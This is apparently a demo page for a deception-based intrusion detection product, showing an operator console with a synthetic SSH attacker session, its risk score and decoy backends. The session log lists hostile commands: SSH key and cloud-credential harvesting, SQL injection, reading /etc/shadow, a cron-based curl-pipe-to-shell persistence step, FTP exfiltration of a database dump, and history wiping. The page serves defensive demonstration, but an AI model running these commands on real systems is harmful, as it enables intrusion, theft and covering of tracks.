Whattheoperatorsees.
Five sessions against a synthetic environment. The event shapes, the scoring rule and the conversion sequence are the real ones. The traffic is written. Pick a session on the left; the story, the replay and the environment all read from the same event log.
2 deception1 suspicious2 normal
Mock data. No live gateway is attached to this build. The sessions are synthetic and the addresses come from the RFC 5737 documentation ranges.sess_7f3a91
Converted in place. Synthetic backends, egress denied.
sx-7f3a91SSH · 198.51.100.72NL · Amsterdam257s · peak 100
t+257s / 257sDECEPTION
L5 · live PTYSSH ACTIVE
152s$find /home -name 'id_*' -o -name '*.pem'+10
166s$curl -s 169.254.169.254/latest/meta-data/iam/+23
178s$curl 'api.internal/report?id=1%20OR%201=1--'+14
189s$cat /etc/shadow+11
201s$mysql -h mysql.internal -e 'select * from customers'+9
214s$echo 'ssh-rsa AAAA...' >> ~/.ssh/authorized_keys+12
228s$(crontab -l; echo '*/5 * * * * curl -s x.sh|sh') | crontab -+11
243s$curl -T /tmp/dump.sql ftp://185.x.x.x/+22
257s$history -c && rm ~/.bash_history+9
L2 · session risk100
0T = 70100
L4 · reachable backendsdeception_net
mysql.internalSynthetic MySQL
redis.internalSynthetic Redis
api.internalSynthetic REST API
/run/secretsUnmounted
egressDefault-deny
SSH session unbrokensx-7f3a91 · same instance since t+000sDECEPTION at t+257s